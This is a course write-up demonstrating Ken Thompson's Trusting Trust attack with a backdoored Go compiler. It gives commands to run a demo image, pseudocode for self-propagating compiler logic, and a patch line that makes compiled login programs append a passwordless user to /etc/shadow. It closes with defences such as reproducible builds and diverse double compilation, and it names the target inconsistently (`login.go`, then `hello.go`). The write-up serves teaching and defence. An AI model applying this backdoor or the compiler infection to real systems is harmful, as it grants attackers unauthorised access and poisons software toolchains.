Trusting Trust

Exploit Demo FEP3370

Vivi Andersson
vivia@kth.se

October 25, 2024

1 Overview

In this demo, we demonstrate how a seemingly trustworthy compiler toolchain can compromise a system and persist across compiler updates. This is known as the Trusting Trust Attack, as described by Ken Thompson [1].

1.1 Running Demo

1. Pull image from Docker Hub:
    - `sudo docker pull vinterstorm/trustingtrust-demo-go`
2. Run container, executing main exploit script (`/exploit/demo_exploit.sh`:
    - `sudo docker run -it -rm vinterstorm/trustingtrust-demo-go`
3. Optionally, re-run the installation of the malicious Go compiler script by specifying it as the entry point:
    - `sudo docker run -it -rm vinterstorm/trustingtrust-demo-go /exploit/install_-malicious_go_compiler.sh`

2 Exploit Background

In his 1984 Turing Award lecture, Ken Thompson formalised the Trusting Trust Attack. He showed that if an attacker compromises the developer's compiler, it can produce malicious binaries from clean source code, effectively the trust developers place in their source code and build tools.

Thompson also demonstrated that by using program self-replication techniques (also known as quines), the malicious behavior can persist across new compiler versions during bootstrapping. As a result, malware can propagate through the entire compiler toolchain, surviving even through upgrades. This characteristic leverages the low transparency of binaries.

3 Exploit Workflow

The attack operates as follows:

1. The attacker injects a malicious compiler onto the downstream user's machine. This can occur through several vectors, such as disguising a malicious download or, as seen in the XCodeGhost attack [2], by offering a compromised toolchain for direct download.
2. The user unwittingly uses this compromised compiler to compile their clean source code, which results in the creation of malicious binaries.
3. When the user later builds a new version of the compiler from source, the malicious compiler infects the new version, ensuring that it remains compromised. This cycle continues, allowing the attack to persist.

4 Exploit Implementation

The vulnerable component in this demo is the Go compiler. To create a malicious version of the compiler, we patched the `cmd/compiler/internal/syntax.go` file within the Go compiler's source code. Our patch was based on an existing modification[1].

The backdoored compiler follows this logic:

- When compiling a specific target, such as the `login.go` program, it injects a malicious version of the target program (exploit).
- When compiling itself (bootstrapping), it perpetuates the malicious compiler (persistence).

This logic is outlined in Listing 1.

Listing 1: Logic of the backdoored Go compiler

```

function compile(source) {
    if source contains "login" {
        // create malicious binary
        compile("login trojan")
        return
    }

    if source contains "Go compiler" {
        // we are bootstrapping, compile a malicious version of the compiler
        compile("malicious compiler")
        return
    }
    ...
}
```

In this implementation, we target the `login.go` file, appearing as shown in Listing 2.

Listing 2: Benign `login.go`

```
package main

import (
  "fmt"
  "os/exec"
)

func main() {
  fmt.Println("Initializing login program.")
  cmd := exec.Command("echo", "starting some background service")
  err := cmd.Run()
  if err != nil {
    fmt.Println("Error:", err)
    return
  }
}
```

The compiler was modified to specifically target files named `hello.go`, altering them each time they are compiled. The modified compiler logic introduces two changes:

1. Prints "There is a trap door!"

[1] Available at `https://github.com/yrjan/untrustworthy_go/blob/master/untrustworthy_go.patch`

2. Executes a shell command that adds a passwordless user to the `/etc/shadow` file.

This behavior is implemented in the patch at line 115, as shown in Listing 3.

Listing 3: Patch addition to `go/compile/internal/syntax.go`

```
modContent := strings.Replace(fileContent, "fmt.Println(\"Initializing login program.\")",
    "fmt.Println(\"There is a trap door!\")\n\tcmdz := exec.Command(\"sh\", \"-c\", \"echo
    malicious:*::::::: >> /etc/shadow\")\n\toutput, _ := cmdz.Output()\n\tfmt.Println(
    string(output))", 1)
```

This backdoor provides a simple example of targeting a system login program to gain unauthorized access by injecting a hidden backdoor during compilation.

5 Ending Note

This attack exploits the inherent trust developers place in source code and highlights the need to secure all components in our workflow. The initial vector for achieving this attack is left unspecified; instead, the vulnerable component is the malicious compiler itself. While it's uncertain whether this specific exploit has occurred in the wild, there are anecdotal reports, and similar cases have been observed, such as the Win32/Induc [3] and XCodeGhost [2] attacks.

As a safeguard, compiled software should be verified for reproducibility—ensuring that the same source code consistently compiles to the same binary across different systems. This check can reveal tampering, provided that all verifiers are using uncompromised compilers. Additionally, diverse double compilation of compilers, as formalized by David A. Wheeler [4], provides an extra layer of defense.

References

[1] K. Thompson, "Reflections on trusting trust," *Commun. ACM*, vol. 27, p. 761–763, aug 1984. doi: `https://doi.org/10.1145/358198.358210`.

[2] C. Xiao, "Novel malware xcodeghost modifies xcode, infects apple ios apps and hits app store," *Unit 42 by Palo Alto Networks*, September 17 2015. `https://unit42.paloaltonetworks.com/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/` (retrieved 2023-12-15).

[3] Microsoft Corporation, "Virus: Win32/induc.a," 2009. `https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Virus%3AWin32%2FInduc.A` (retrieved 2023-12-21).

[4] D. Wheeler, "Countering trusting trust through diverse double-compiling," in *21st Annual Computer Security Applications Conference (ACSAC'05)*, pp. 13 pp.–48, 2005. doi: `https://doi.org/10.1109/CSAC.2005.17`.